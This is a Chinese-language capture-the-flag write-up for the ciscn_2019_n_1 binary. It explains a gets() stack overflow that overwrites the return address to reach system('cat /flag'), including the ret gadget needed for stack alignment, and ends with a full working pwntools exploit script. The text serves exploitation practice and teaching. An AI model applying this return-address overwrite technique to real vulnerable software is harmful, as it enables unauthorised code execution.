做这道题时,搜到网上的解法都是利用溢出覆盖变量的值。这里使用一般的方法,利用栈溢出覆盖返回地址。
首先查看ida,看到system(“cat /flag”)。
那么思路就是,从gets溢出,把返回地址改为调用system的地址。
在linux下,使用如下命令,生成ciscn.s。
objdump -S ciscn_2019_n_1 > ciscn.s
查看ciscn.s,找到system调用处。图中第一行设置参数,所以要跳转的地址是第一行地址0x4006be。
打个广告,下图高亮使用了AT&T语法高亮插件,vscode插件商店搜索“att”即可安装
另外,远程实验环境为Ubuntu18,函数调用地址需要16bit对齐,所以不能直接把返回地址设为0x4006be,要先返回到一个ret,再返回到system调用。(ret的地址选择了main函数中的ret,同样从ciscn.s中找)
代码如下:
from pwn import *
context(os='linux', log_level='debug', arch='amd64')
r = remote("ip","port")
r.recvuntil("number.\n")
payload = b"a" * 48 + p64(0x40072c) + p64(0x4006be)
r.send(payload)
r.interactive()